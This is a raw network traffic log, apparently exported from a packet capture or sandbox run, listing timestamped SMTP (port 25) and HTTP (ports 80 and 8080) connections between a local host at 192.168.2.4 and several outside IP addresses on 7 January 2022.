Jan 7, 2022 15:57:54.123795033 CET	49935	80	192.168.2.4	193.166.255.171
Jan 7, 2022 15:57:54.123841047 CET	25	49878	185.175.124.58	192.168.2.4
Jan 7, 2022 15:57:54.123883009 CET	25	49878	185.175.124.58	192.168.2.4
Jan 7, 2022 15:57:54.123934984 CET	49878	25	192.168.2.4	185.175.124.58
Jan 7, 2022 15:57:54.123986006 CET	49878	25	192.168.2.4	185.175.124.58
Jan 7, 2022 15:57:54.124094009 CET	25	49878	185.175.124.58	192.168.2.4
Jan 7, 2022 15:57:54.124234915 CET	25	49878	185.175.124.58	192.168.2.4
Jan 7, 2022 15:57:54.124277115 CET	25	49878	185.175.124.58	192.168.2.4
Jan 7, 2022 15:57:54.124325991 CET	49878	25	192.168.2.4	185.175.124.58
Jan 7, 2022 15:57:54.124363899 CET	49878	25	192.168.2.4	185.175.124.58
Jan 7, 2022 15:57:54.124393940 CET	25	49878	185.175.124.58	192.168.2.4
Jan 7, 2022 15:57:54.124566078 CET	25	49878	185.175.124.58	192.168.2.4
Jan 7, 2022 15:57:54.124684095 CET	25	49878	185.175.124.58	192.168.2.4
Jan 7, 2022 15:57:54.125267982 CET	25	49878	185.175.124.58	192.168.2.4
Jan 7, 2022 15:57:54.125288010 CET	25	49878	185.175.124.58	192.168.2.4
Jan 7, 2022 15:57:54.125298977 CET	25	49878	185.175.124.58	192.168.2.4
Jan 7, 2022 15:57:54.125310898 CET	25	49878	185.175.124.58	192.168.2.4
Jan 7, 2022 15:57:54.125354052 CET	25	49878	185.175.124.58	192.168.2.4
Jan 7, 2022 15:57:54.125397921 CET	25	49878	185.175.124.58	192.168.2.4
Jan 7, 2022 15:57:54.125468016 CET	25	49878	185.175.124.58	192.168.2.4
Jan 7, 2022 15:57:54.125694990 CET	25	49878	185.175.124.58	192.168.2.4
Jan 7, 2022 15:57:54.158199072 CET	25	49878	185.175.124.58	192.168.2.4
Jan 7, 2022 15:57:54.158260107 CET	25	49878	185.175.124.58	192.168.2.4
Jan 7, 2022 15:57:54.158288002 CET	25	49878	185.175.124.58	192.168.2.4
Jan 7, 2022 15:57:54.158313036 CET	25	49878	185.175.124.58	192.168.2.4
Jan 7, 2022 15:57:54.158339977 CET	25	49878	185.175.124.58	192.168.2.4
Jan 7, 2022 15:57:54.158364058 CET	25	49878	185.175.124.58	192.168.2.4
Jan 7, 2022 15:57:54.158390999 CET	25	49878	185.175.124.58	192.168.2.4
Jan 7, 2022 15:57:54.158420086 CET	25	49878	185.175.124.58	192.168.2.4
Jan 7, 2022 15:57:54.158447027 CET	25	49878	185.175.124.58	192.168.2.4
Jan 7, 2022 15:57:54.158473969 CET	25	49878	185.175.124.58	192.168.2.4
Jan 7, 2022 15:57:54.158503056 CET	25	49878	185.175.124.58	192.168.2.4
Jan 7, 2022 15:57:54.158529997 CET	25	49878	185.175.124.58	192.168.2.4
Jan 7, 2022 15:57:54.158556938 CET	25	49878	185.175.124.58	192.168.2.4
Jan 7, 2022 15:57:54.158658028 CET	25	49878	185.175.124.58	192.168.2.4
Jan 7, 2022 15:57:54.158685923 CET	25	49878	185.175.124.58	192.168.2.4
Jan 7, 2022 15:57:54.158715010 CET	25	49878	185.175.124.58	192.168.2.4
Jan 7, 2022 15:57:54.158741951 CET	25	49878	185.175.124.58	192.168.2.4
Jan 7, 2022 15:57:54.158771038 CET	25	49878	185.175.124.58	192.168.2.4
Jan 7, 2022 15:57:54.158876896 CET	25	49878	185.175.124.58	192.168.2.4
Jan 7, 2022 15:57:54.158906937 CET	25	49878	185.175.124.58	192.168.2.4
Jan 7, 2022 15:57:54.158966064 CET	25	49878	185.175.124.58	192.168.2.4
Jan 7, 2022 15:57:54.159018040 CET	25	49878	185.175.124.58	192.168.2.4
Jan 7, 2022 15:57:54.159045935 CET	25	49878	185.175.124.58	192.168.2.4
Jan 7, 2022 15:57:54.159123898 CET	25	49878	185.175.124.58	192.168.2.4
Jan 7, 2022 15:57:54.159153938 CET	25	49878	185.175.124.58	192.168.2.4
Jan 7, 2022 15:57:54.159250975 CET	25	49878	185.175.124.58	192.168.2.4
Jan 7, 2022 15:57:54.159410000 CET	25	49878	185.175.124.58	192.168.2.4
Jan 7, 2022 15:57:54.159444094 CET	25	49878	185.175.124.58	192.168.2.4
Jan 7, 2022 15:57:54.159470081 CET	25	49878	185.175.124.58	192.168.2.4
Jan 7, 2022 15:57:54.159486055 CET	49878	25	192.168.2.4	185.175.124.58
Jan 7, 2022 15:57:54.159527063 CET	49878	25	192.168.2.4	185.175.124.58
Jan 7, 2022 15:57:54.159531116 CET	25	49878	185.175.124.58	192.168.2.4
Jan 7, 2022 15:57:54.159564018 CET	25	49878	185.175.124.58	192.168.2.4
Jan 7, 2022 15:57:54.159571886 CET	49878	25	192.168.2.4	185.175.124.58
Jan 7, 2022 15:57:54.159672976 CET	25	49878	185.175.124.58	192.168.2.4
Jan 7, 2022 15:57:54.159688950 CET	25	49878	185.175.124.58	192.168.2.4
Jan 7, 2022 15:57:54.159703016 CET	25	49878	185.175.124.58	192.168.2.4
Jan 7, 2022 15:57:54.159765005 CET	25	49878	185.175.124.58	192.168.2.4
Jan 7, 2022 15:57:54.159806013 CET	25	49878	185.175.124.58	192.168.2.4
Jan 7, 2022 15:57:54.159877062 CET	25	49878	185.175.124.58	192.168.2.4
Jan 7, 2022 15:57:54.160043955 CET	25	49878	185.175.124.58	192.168.2.4
Jan 7, 2022 15:57:54.160058975 CET	25	49878	185.175.124.58	192.168.2.4
Jan 7, 2022 15:57:54.160074949 CET	25	49878	185.175.124.58	192.168.2.4
Jan 7, 2022 15:57:54.160114050 CET	25	49878	185.175.124.58	192.168.2.4
Jan 7, 2022 15:57:54.160157919 CET	25	49878	185.175.124.58	192.168.2.4
Jan 7, 2022 15:57:54.160187960 CET	25	49878	185.175.124.58	192.168.2.4
Jan 7, 2022 15:57:54.160274982 CET	25	49878	185.175.124.58	192.168.2.4
Jan 7, 2022 15:57:54.160315990 CET	25	49878	185.175.124.58	192.168.2.4
Jan 7, 2022 15:57:54.160352945 CET	25	49878	185.175.124.58	192.168.2.4
Jan 7, 2022 15:57:54.160408020 CET	25	49878	185.175.124.58	192.168.2.4
Jan 7, 2022 15:57:54.160478115 CET	25	49878	185.175.124.58	192.168.2.4
Jan 7, 2022 15:57:54.160495996 CET	25	49878	185.175.124.58	192.168.2.4
Jan 7, 2022 15:57:54.160557032 CET	25	49878	185.175.124.58	192.168.2.4
Jan 7, 2022 15:57:54.160618067 CET	25	49878	185.175.124.58	192.168.2.4
Jan 7, 2022 15:57:54.160674095 CET	25	49878	185.175.124.58	192.168.2.4
Jan 7, 2022 15:57:54.160753965 CET	25	49878	185.175.124.58	192.168.2.4
Jan 7, 2022 15:57:54.161063910 CET	25	49878	185.175.124.58	192.168.2.4
Jan 7, 2022 15:57:54.161092043 CET	25	49878	185.175.124.58	192.168.2.4
Jan 7, 2022 15:57:54.161381960 CET	25	49878	185.175.124.58	192.168.2.4
Jan 7, 2022 15:57:54.161422968 CET	25	49878	185.175.124.58	192.168.2.4
Jan 7, 2022 15:57:54.161988974 CET	25	49878	185.175.124.58	192.168.2.4
Jan 7, 2022 15:57:54.162046909 CET	25	49878	185.175.124.58	192.168.2.4
Jan 7, 2022 15:57:54.162065029 CET	25	49878	185.175.124.58	192.168.2.4
Jan 7, 2022 15:57:54.162158966 CET	25	49878	185.175.124.58	192.168.2.4
Jan 7, 2022 15:57:54.162271023 CET	25	49878	185.175.124.58	192.168.2.4
Jan 7, 2022 15:57:54.162874937 CET	25	49878	185.175.124.58	192.168.2.4
Jan 7, 2022 15:57:54.162902117 CET	25	49878	185.175.124.58	192.168.2.4
Jan 7, 2022 15:57:54.162918091 CET	25	49878	185.175.124.58	192.168.2.4
Jan 7, 2022 15:57:54.162935019 CET	25	49878	185.175.124.58	192.168.2.4
Jan 7, 2022 15:57:54.162950039 CET	25	49878	185.175.124.58	192.168.2.4
Jan 7, 2022 15:57:54.163033962 CET	25	49878	185.175.124.58	192.168.2.4
Jan 7, 2022 15:57:54.163070917 CET	25	49878	185.175.124.58	192.168.2.4
Jan 7, 2022 15:57:54.163153887 CET	25	49878	185.175.124.58	192.168.2.4
Jan 7, 2022 15:57:54.163170099 CET	25	49878	185.175.124.58	192.168.2.4
Jan 7, 2022 15:57:54.163701057 CET	25	49878	185.175.124.58	192.168.2.4
Jan 7, 2022 15:57:54.163757086 CET	25	49878	185.175.124.58	192.168.2.4
Jan 7, 2022 15:57:54.163796902 CET	25	49878	185.175.124.58	192.168.2.4
Jan 7, 2022 15:57:54.163830996 CET	25	49878	185.175.124.58	192.168.2.4
Jan 7, 2022 15:57:54.163866997 CET	25	49878	185.175.124.58	192.168.2.4
Jan 7, 2022 15:57:54.163882017 CET	49878	25	192.168.2.4	185.175.124.58
Jan 7, 2022 15:57:54.163912058 CET	49878	25	192.168.2.4	185.175.124.58
Jan 7, 2022 15:57:54.163981915 CET	25	49878	185.175.124.58	192.168.2.4
Jan 7, 2022 15:57:54.164000034 CET	25	49878	185.175.124.58	192.168.2.4
Jan 7, 2022 15:57:54.164016008 CET	25	49878	185.175.124.58	192.168.2.4
Jan 7, 2022 15:57:54.164031029 CET	25	49878	185.175.124.58	192.168.2.4
Jan 7, 2022 15:57:54.164068937 CET	49878	25	192.168.2.4	185.175.124.58
Jan 7, 2022 15:57:54.164084911 CET	49878	25	192.168.2.4	185.175.124.58
Jan 7, 2022 15:57:54.164125919 CET	25	49878	185.175.124.58	192.168.2.4
Jan 7, 2022 15:57:54.196934938 CET	25	49878	185.175.124.58	192.168.2.4
Jan 7, 2022 15:57:54.196966887 CET	25	49878	185.175.124.58	192.168.2.4
Jan 7, 2022 15:57:54.197123051 CET	25	49878	185.175.124.58	192.168.2.4
Jan 7, 2022 15:57:54.197175026 CET	25	49878	185.175.124.58	192.168.2.4
Jan 7, 2022 15:57:54.197191000 CET	25	49878	185.175.124.58	192.168.2.4
Jan 7, 2022 15:57:54.200624943 CET	25	49878	185.175.124.58	192.168.2.4
Jan 7, 2022 15:57:54.201304913 CET	25	49878	185.175.124.58	192.168.2.4
Jan 7, 2022 15:57:54.201448917 CET	49878	25	192.168.2.4	185.175.124.58
Jan 7, 2022 15:57:54.201476097 CET	49878	25	192.168.2.4	185.175.124.58
Jan 7, 2022 15:57:54.238543034 CET	25	49878	185.175.124.58	192.168.2.4
Jan 7, 2022 15:57:54.244075060 CET	25	49878	185.175.124.58	192.168.2.4
Jan 7, 2022 15:57:54.244878054 CET	49878	25	192.168.2.4	185.175.124.58
Jan 7, 2022 15:57:54.245872021 CET	25	49878	185.175.124.58	192.168.2.4
Jan 7, 2022 15:57:54.247690916 CET	49878	25	192.168.2.4	185.175.124.58
Jan 7, 2022 15:57:54.427490950 CET	25	49880	176.223.123.126	192.168.2.4
Jan 7, 2022 15:57:54.427649975 CET	49880	25	192.168.2.4	176.223.123.126
Jan 7, 2022 15:57:54.427690029 CET	49880	25	192.168.2.4	176.223.123.126
Jan 7, 2022 15:57:54.468725920 CET	25	49880	176.223.123.126	192.168.2.4
Jan 7, 2022 15:57:54.469995975 CET	49880	25	192.168.2.4	176.223.123.126
Jan 7, 2022 15:57:54.541462898 CET	49936	80	192.168.2.4	193.166.255.171
Jan 7, 2022 15:57:54.682122946 CET	49937	80	192.168.2.4	193.166.255.171
Jan 7, 2022 15:57:55.929229021 CET	25	49901	131.111.8.149	192.168.2.4
Jan 7, 2022 15:57:55.929621935 CET	49901	25	192.168.2.4	131.111.8.149
Jan 7, 2022 15:57:55.961606026 CET	25	49901	131.111.8.149	192.168.2.4
Jan 7, 2022 15:57:55.961862087 CET	25	49901	131.111.8.149	192.168.2.4
Jan 7, 2022 15:57:55.961982965 CET	49901	25	192.168.2.4	131.111.8.149
Jan 7, 2022 15:57:55.962654114 CET	49901	25	192.168.2.4	131.111.8.149
Jan 7, 2022 15:57:55.995105982 CET	25	49901	131.111.8.149	192.168.2.4
Jan 7, 2022 15:57:55.996064901 CET	49901	25	192.168.2.4	131.111.8.149
Jan 7, 2022 15:58:00.026320934 CET	49933	8080	192.168.2.4	193.166.255.171
Jan 7, 2022 15:58:00.088836908 CET	49934	80	192.168.2.4	193.166.255.171
Jan 7, 2022 15:58:00.151385069 CET	49935	80	192.168.2.4	193.166.255.171
Jan 7, 2022 15:58:00.541990042 CET	49936	80	192.168.2.4	193.166.255.171
Jan 7, 2022 15:58:00.698224068 CET	49937	80	192.168.2.4	193.166.255.171
Jan 7, 2022 15:58:02.316641092 CET	25	49928	85.187.148.2	192.168.2.4
Jan 7, 2022 15:58:02.316756964 CET	49928	25	192.168.2.4	85.187.148.2
Jan 7, 2022 15:58:02.493243933 CET	25	49928	85.187.148.2	192.168.2.4
Jan 7, 2022 15:58:02.493949890 CET	49928	25	192.168.2.4	85.187.148.2
Jan 7, 2022 15:58:02.670490026 CET	25	49928	85.187.148.2	192.168.2.4
Jan 7, 2022 15:58:02.670640945 CET	49928	25	192.168.2.4	85.187.148.2
Jan 7, 2022 15:58:02.886168003 CET	25	49928	85.187.148.2	192.168.2.4
Jan 7, 2022 15:58:05.063821077 CET	25	49825	142.250.157.26	192.168.2.4
Jan 7, 2022 15:58:05.063975096 CET	49825	25	192.168.2.4	142.250.157.26
Jan 7, 2022 15:58:15.123442888 CET	49945	80	192.168.2.4	193.166.255.171
Jan 7, 2022 15:58:18.152887106 CET	49945	80	192.168.2.4	193.166.255.171
Jan 7, 2022 15:58:23.029314041 CET	25	49928	85.187.148.2	192.168.2.4
Jan 7, 2022 15:58:23.029498100 CET	49928	25	192.168.2.4	85.187.148.2
Jan 7, 2022 15:58:23.205926895 CET	25	49928	85.187.148.2	192.168.2.4
Jan 7, 2022 15:58:23.205976963 CET	25	49928	85.187.148.2	192.168.2.4
Jan 7, 2022 15:58:23.206155062 CET	49928	25	192.168.2.4	85.187.148.2
Jan 7, 2022 15:58:23.206650972 CET	49928	25	192.168.2.4	85.187.148.2
Jan 7, 2022 15:58:23.383002043 CET	25	49928	85.187.148.2	192.168.2.4
Jan 7, 2022 15:58:23.383028030 CET	25	49928	85.187.148.2	192.168.2.4
Jan 7, 2022 15:58:23.383155107 CET	25	49928	85.187.148.2	192.168.2.4
Jan 7, 2022 15:58:23.383244038 CET	49928	25	192.168.2.4	85.187.148.2
Jan 7, 2022 15:58:23.383363962 CET	49928	25	192.168.2.4	85.187.148.2
Jan 7, 2022 15:58:23.423296928 CET	25	49928	85.187.148.2	192.168.2.4
Jan 7, 2022 15:58:23.424917936 CET	49928	25	192.168.2.4	85.187.148.2
Jan 7, 2022 15:58:23.559637070 CET	25	49928	85.187.148.2	192.168.2.4
Jan 7, 2022 15:58:23.559658051 CET	25	49928	85.187.148.2	192.168.2.4
Jan 7, 2022 15:58:23.559665918 CET	25	49928	85.187.148.2	192.168.2.4
Jan 7, 2022 15:58:23.559781075 CET	25	49928	85.187.148.2	192.168.2.4
Jan 7, 2022 15:58:23.559921026 CET	25	49928	85.187.148.2	192.168.2.4
Jan 7, 2022 15:58:23.559953928 CET	49928	25	192.168.2.4	85.187.148.2
Jan 7, 2022 15:58:23.559988022 CET	49928	25	192.168.2.4	85.187.148.2
Jan 7, 2022 15:58:23.560018063 CET	49928	25	192.168.2.4	85.187.148.2
Jan 7, 2022 15:58:23.560674906 CET	49928	25	192.168.2.4	85.187.148.2
Jan 7, 2022 15:58:23.602737904 CET	25	49928	85.187.148.2	192.168.2.4
Jan 7, 2022 15:58:23.602781057 CET	25	49928	85.187.148.2	192.168.2.4
Jan 7, 2022 15:58:23.603172064 CET	49928	25	192.168.2.4	85.187.148.2
Jan 7, 2022 15:58:23.736357927 CET	25	49928	85.187.148.2	192.168.2.4
Jan 7, 2022 15:58:23.736418962 CET	25	49928	85.187.148.2	192.168.2.4
Jan 7, 2022 15:58:23.736454010 CET	25	49928	85.187.148.2	192.168.2.4
Jan 7, 2022 15:58:23.736491919 CET	25	49928	85.187.148.2	192.168.2.4
Jan 7, 2022 15:58:23.736527920 CET	25	49928	85.187.148.2	192.168.2.4
Jan 7, 2022 15:58:23.736627102 CET	25	49928	85.187.148.2	192.168.2.4
Jan 7, 2022 15:58:23.736640930 CET	49928	25	192.168.2.4	85.187.148.2
Jan 7, 2022 15:58:23.736666918 CET	25	49928	85.187.148.2	192.168.2.4
Jan 7, 2022 15:58:23.736730099 CET	49928	25	192.168.2.4	85.187.148.2
Jan 7, 2022 15:58:23.736752987 CET	49928	25	192.168.2.4	85.187.148.2
Jan 7, 2022 15:58:23.736890078 CET	25	49928	85.187.148.2	192.168.2.4
Jan 7, 2022 15:58:23.737052917 CET	49928	25	192.168.2.4	85.187.148.2
Jan 7, 2022 15:58:23.737107992 CET	25	49928	85.187.148.2	192.168.2.4
Jan 7, 2022 15:58:23.737382889 CET	49928	25	192.168.2.4	85.187.148.2
Jan 7, 2022 15:58:23.779616117 CET	25	49928	85.187.148.2	192.168.2.4
Jan 7, 2022 15:58:23.779644966 CET	25	49928	85.187.148.2	192.168.2.4
Jan 7, 2022 15:58:23.779659986 CET	25	49928	85.187.148.2	192.168.2.4
Jan 7, 2022 15:58:23.779731989 CET	49928	25	192.168.2.4	85.187.148.2
Jan 7, 2022 15:58:23.779791117 CET	49928	25	192.168.2.4	85.187.148.2
Jan 7, 2022 15:58:23.913084030 CET	25	49928	85.187.148.2	192.168.2.4
Jan 7, 2022 15:58:23.913168907 CET	25	49928	85.187.148.2	192.168.2.4
Jan 7, 2022 15:58:23.913247108 CET	25	49928	85.187.148.2	192.168.2.4
Jan 7, 2022 15:58:23.913255930 CET	49928	25	192.168.2.4	85.187.148.2
Jan 7, 2022 15:58:23.913304090 CET	49928	25	192.168.2.4	85.187.148.2
Jan 7, 2022 15:58:23.913455963 CET	25	49928	85.187.148.2	192.168.2.4
Jan 7, 2022 15:58:23.913609028 CET	25	49928	85.187.148.2	192.168.2.4
Jan 7, 2022 15:58:23.913696051 CET	49928	25	192.168.2.4	85.187.148.2
Jan 7, 2022 15:58:23.913820982 CET	25	49928	85.187.148.2	192.168.2.4
Jan 7, 2022 15:58:23.913837910 CET	25	49928	85.187.148.2	192.168.2.4
Jan 7, 2022 15:58:23.913995981 CET	49928	25	192.168.2.4	85.187.148.2
Jan 7, 2022 15:58:23.914016008 CET	25	49928	85.187.148.2	192.168.2.4
Jan 7, 2022 15:58:23.914033890 CET	25	49928	85.187.148.2	192.168.2.4
Jan 7, 2022 15:58:23.914072037 CET	49928	25	192.168.2.4	85.187.148.2
Jan 7, 2022 15:58:23.914113998 CET	49928	25	192.168.2.4	85.187.148.2
Jan 7, 2022 15:58:23.914129019 CET	25	49928	85.187.148.2	192.168.2.4
Jan 7, 2022 15:58:23.914194107 CET	49928	25	192.168.2.4	85.187.148.2
Jan 7, 2022 15:58:23.914300919 CET	25	49928	85.187.148.2	192.168.2.4
Jan 7, 2022 15:58:23.914495945 CET	25	49928	85.187.148.2	192.168.2.4
Jan 7, 2022 15:58:23.914592981 CET	49928	25	192.168.2.4	85.187.148.2
Jan 7, 2022 15:58:23.914652109 CET	25	49928	85.187.148.2	192.168.2.4
Jan 7, 2022 15:58:23.914669991 CET	25	49928	85.187.148.2	192.168.2.4
Jan 7, 2022 15:58:23.914717913 CET	49928	25	192.168.2.4	85.187.148.2
Jan 7, 2022 15:58:23.914735079 CET	49928	25	192.168.2.4	85.187.148.2
Jan 7, 2022 15:58:23.914928913 CET	25	49928	85.187.148.2	192.168.2.4
Jan 7, 2022 15:58:23.915021896 CET	25	49928	85.187.148.2	192.168.2.4
Jan 7, 2022 15:58:23.915138960 CET	49928	25	192.168.2.4	85.187.148.2
Jan 7, 2022 15:58:23.915157080 CET	25	49928	85.187.148.2	192.168.2.4
Jan 7, 2022 15:58:23.915250063 CET	49928	25	192.168.2.4	85.187.148.2
Jan 7, 2022 15:58:23.915422916 CET	25	49928	85.187.148.2	192.168.2.4
Jan 7, 2022 15:58:23.915565014 CET	25	49928	85.187.148.2	192.168.2.4
Jan 7, 2022 15:58:23.915628910 CET	49928	25	192.168.2.4	85.187.148.2
Jan 7, 2022 15:58:23.915672064 CET	49928	25	192.168.2.4	85.187.148.2
Jan 7, 2022 15:58:23.915693045 CET	25	49928	85.187.148.2	192.168.2.4
Jan 7, 2022 15:58:23.915776968 CET	49928	25	192.168.2.4	85.187.148.2
Jan 7, 2022 15:58:23.915903091 CET	25	49928	85.187.148.2	192.168.2.4
Jan 7, 2022 15:58:23.915920019 CET	25	49928	85.187.148.2	192.168.2.4
Jan 7, 2022 15:58:23.916016102 CET	49928	25	192.168.2.4	85.187.148.2
Jan 7, 2022 15:58:23.916081905 CET	25	49928	85.187.148.2	192.168.2.4
Jan 7, 2022 15:58:23.916145086 CET	49928	25	192.168.2.4	85.187.148.2
Jan 7, 2022 15:58:23.956191063 CET	25	49928	85.187.148.2	192.168.2.4
Jan 7, 2022 15:58:23.956213951 CET	25	49928	85.187.148.2	192.168.2.4
Jan 7, 2022 15:58:23.956398010 CET	25	49928	85.187.148.2	192.168.2.4
Jan 7, 2022 15:58:23.956414938 CET	25	49928	85.187.148.2	192.168.2.4
Jan 7, 2022 15:58:23.956482887 CET	49928	25	192.168.2.4	85.187.148.2
Jan 7, 2022 15:58:23.956553936 CET	49928	25	192.168.2.4	85.187.148.2
Jan 7, 2022 15:58:23.956568956 CET	49928	25	192.168.2.4	85.187.148.2
Jan 7, 2022 15:58:24.089672089 CET	25	49928	85.187.148.2	192.168.2.4
Jan 7, 2022 15:58:24.089713097 CET	25	49928	85.187.148.2	192.168.2.4
Jan 7, 2022 15:58:24.089740038 CET	25	49928	85.187.148.2	192.168.2.4
Jan 7, 2022 15:58:24.089843988 CET	25	49928	85.187.148.2	192.168.2.4
Jan 7, 2022 15:58:24.089842081 CET	49928	25	192.168.2.4	85.187.148.2
Jan 7, 2022 15:58:24.089916945 CET	49928	25	192.168.2.4	85.187.148.2
Jan 7, 2022 15:58:24.089941978 CET	49928	25	192.168.2.4	85.187.148.2
Jan 7, 2022 15:58:24.090060949 CET	25	49928	85.187.148.2	192.168.2.4
Jan 7, 2022 15:58:24.090152979 CET	49928	25	192.168.2.4	85.187.148.2
Jan 7, 2022 15:58:24.090209007 CET	25	49928	85.187.148.2	192.168.2.4
Jan 7, 2022 15:58:24.090394974 CET	25	49928	85.187.148.2	192.168.2.4
Jan 7, 2022 15:58:24.090477943 CET	25	49928	85.187.148.2	192.168.2.4
Jan 7, 2022 15:58:24.090495110 CET	49928	25	192.168.2.4	85.187.148.2
Jan 7, 2022 15:58:24.090538979 CET	49928	25	192.168.2.4	85.187.148.2
Jan 7, 2022 15:58:24.090590954 CET	49928	25	192.168.2.4	85.187.148.2
Jan 7, 2022 15:58:24.090610981 CET	25	49928	85.187.148.2	192.168.2.4
Jan 7, 2022 15:58:24.090692043 CET	49928	25	192.168.2.4	85.187.148.2
Jan 7, 2022 15:58:24.090960026 CET	25	49928	85.187.148.2	192.168.2.4
Jan 7, 2022 15:58:24.091111898 CET	49928	25	192.168.2.4	85.187.148.2
Jan 7, 2022 15:58:24.091156006 CET	25	49928	85.187.148.2	192.168.2.4
Jan 7, 2022 15:58:24.091247082 CET	49928	25	192.168.2.4	85.187.148.2
Jan 7, 2022 15:58:24.091378927 CET	25	49928	85.187.148.2	192.168.2.4
Jan 7, 2022 15:58:24.091459036 CET	49928	25	192.168.2.4	85.187.148.2
Jan 7, 2022 15:58:24.091665983 CET	25	49928	85.187.148.2	192.168.2.4
Jan 7, 2022 15:58:24.091770887 CET	49928	25	192.168.2.4	85.187.148.2
Jan 7, 2022 15:58:24.091881990 CET	25	49928	85.187.148.2	192.168.2.4
Jan 7, 2022 15:58:24.091989994 CET	49928	25	192.168.2.4	85.187.148.2
Jan 7, 2022 15:58:24.092099905 CET	25	49928	85.187.148.2	192.168.2.4
Jan 7, 2022 15:58:24.092207909 CET	49928	25	192.168.2.4	85.187.148.2
Jan 7, 2022 15:58:24.092379093 CET	25	49928	85.187.148.2	192.168.2.4
Jan 7, 2022 15:58:24.092493057 CET	49928	25	192.168.2.4	85.187.148.2
Jan 7, 2022 15:58:24.092595100 CET	25	49928	85.187.148.2	192.168.2.4
Jan 7, 2022 15:58:24.092689037 CET	49928	25	192.168.2.4	85.187.148.2
Jan 7, 2022 15:58:24.092919111 CET	25	49928	85.187.148.2	192.168.2.4
Jan 7, 2022 15:58:24.093064070 CET	49928	25	192.168.2.4	85.187.148.2
Jan 7, 2022 15:58:24.093130112 CET	25	49928	85.187.148.2	192.168.2.4
Jan 7, 2022 15:58:24.093158007 CET	25	49928	85.187.148.2	192.168.2.4
Jan 7, 2022 15:58:24.093180895 CET	25	49928	85.187.148.2	192.168.2.4
Jan 7, 2022 15:58:24.093405962 CET	25	49928	85.187.148.2	192.168.2.4
Jan 7, 2022 15:58:24.093545914 CET	25	49928	85.187.148.2	192.168.2.4
Jan 7, 2022 15:58:24.093573093 CET	25	49928	85.187.148.2	192.168.2.4
Jan 7, 2022 15:58:24.093734026 CET	25	49928	85.187.148.2	192.168.2.4
Jan 7, 2022 15:58:24.133203030 CET	25	49928	85.187.148.2	192.168.2.4
Jan 7, 2022 15:58:24.133230925 CET	25	49928	85.187.148.2	192.168.2.4
Jan 7, 2022 15:58:24.133245945 CET	25	49928	85.187.148.2	192.168.2.4
Jan 7, 2022 15:58:24.133260012 CET	25	49928	85.187.148.2	192.168.2.4
Jan 7, 2022 15:58:24.133275032 CET	25	49928	85.187.148.2	192.168.2.4
Jan 7, 2022 15:58:24.133289099 CET	25	49928	85.187.148.2	192.168.2.4
Jan 7, 2022 15:58:24.133304119 CET	25	49928	85.187.148.2	192.168.2.4
Jan 7, 2022 15:58:24.168951035 CET	49945	80	192.168.2.4	193.166.255.171
Jan 7, 2022 15:58:24.266369104 CET	25	49928	85.187.148.2	192.168.2.4
Jan 7, 2022 15:58:24.266463995 CET	25	49928	85.187.148.2	192.168.2.4
Jan 7, 2022 15:58:24.266525984 CET	25	49928	85.187.148.2	192.168.2.4
Jan 7, 2022 15:58:24.266573906 CET	25	49928	85.187.148.2	192.168.2.4
Jan 7, 2022 15:58:24.266621113 CET	25	49928	85.187.148.2	192.168.2.4
Jan 7, 2022 15:58:24.266937971 CET	25	49928	85.187.148.2	192.168.2.4
Jan 7, 2022 15:58:24.267004013 CET	25	49928	85.187.148.2	192.168.2.4
Jan 7, 2022 15:58:24.267246008 CET	25	49928	85.187.148.2	192.168.2.4
Jan 7, 2022 15:58:24.267458916 CET	25	49928	85.187.148.2	192.168.2.4
Jan 7, 2022 15:58:24.267503023 CET	25	49928	85.187.148.2	192.168.2.4
Jan 7, 2022 15:58:24.267627001 CET	25	49928	85.187.148.2	192.168.2.4
Jan 7, 2022 15:58:24.267790079 CET	25	49928	85.187.148.2	192.168.2.4
Jan 7, 2022 15:58:24.267968893 CET	25	49928	85.187.148.2	192.168.2.4
Jan 7, 2022 15:58:24.268170118 CET	25	49928	85.187.148.2	192.168.2.4
Jan 7, 2022 15:58:24.268299103 CET	25	49928	85.187.148.2	192.168.2.4
Jan 7, 2022 15:58:24.268492937 CET	25	49928	85.187.148.2	192.168.2.4
Jan 7, 2022 15:58:24.268613100 CET	25	49928	85.187.148.2	192.168.2.4
Jan 7, 2022 15:58:24.268665075 CET	25	49928	85.187.148.2	192.168.2.4
Jan 7, 2022 15:58:24.268865108 CET	25	49928	85.187.148.2	192.168.2.4
Jan 7, 2022 15:58:24.269144058 CET	25	49928	85.187.148.2	192.168.2.4
Jan 7, 2022 15:58:24.269246101 CET	25	49928	85.187.148.2	192.168.2.4
Jan 7, 2022 15:58:24.269402981 CET	25	49928	85.187.148.2	192.168.2.4
Jan 7, 2022 15:58:24.269560099 CET	25	49928	85.187.148.2	192.168.2.4
Jan 7, 2022 15:58:24.269789934 CET	25	49928	85.187.148.2	192.168.2.4
Jan 7, 2022 15:58:24.269911051 CET	25	49928	85.187.148.2	192.168.2.4
Jan 7, 2022 15:58:24.270174980 CET	25	49928	85.187.148.2	192.168.2.4
Jan 7, 2022 15:58:24.277559996 CET	25	49928	85.187.148.2	192.168.2.4
Jan 7, 2022 15:58:24.277628899 CET	25	49928	85.187.148.2	192.168.2.4
Jan 7, 2022 15:58:24.277748108 CET	25	49928	85.187.148.2	192.168.2.4
Jan 7, 2022 15:58:24.277844906 CET	25	49928	85.187.148.2	192.168.2.4
Jan 7, 2022 15:58:24.278032064 CET	25	49928	85.187.148.2	192.168.2.4
Jan 7, 2022 15:58:24.278114080 CET	25	49928	85.187.148.2	192.168.2.4
Jan 7, 2022 15:58:24.278259039 CET	25	49928	85.187.148.2	192.168.2.4
Jan 7, 2022 15:58:24.278306007 CET	25	49928	85.187.148.2	192.168.2.4
Jan 7, 2022 15:58:24.278350115 CET	25	49928	85.187.148.2	192.168.2.4
Jan 7, 2022 15:58:24.278680086 CET	25	49928	85.187.148.2	192.168.2.4
Jan 7, 2022 15:58:24.278774023 CET	25	49928	85.187.148.2	192.168.2.4
Jan 7, 2022 15:58:24.278825998 CET	25	49928	85.187.148.2	192.168.2.4
Jan 7, 2022 15:58:24.278953075 CET	49928	25	192.168.2.4	85.187.148.2
Jan 7, 2022 15:58:24.279006958 CET	49928	25	192.168.2.4	85.187.148.2
Jan 7, 2022 15:58:24.279043913 CET	49928	25	192.168.2.4	85.187.148.2
Jan 7, 2022 15:58:24.279112101 CET	49928	25	192.168.2.4	85.187.148.2
Jan 7, 2022 15:58:24.279205084 CET	49928	25	192.168.2.4	85.187.148.2
Jan 7, 2022 15:58:24.455423117 CET	25	49928	85.187.148.2	192.168.2.4
Jan 7, 2022 15:58:24.455513000 CET	25	49928	85.187.148.2	192.168.2.4
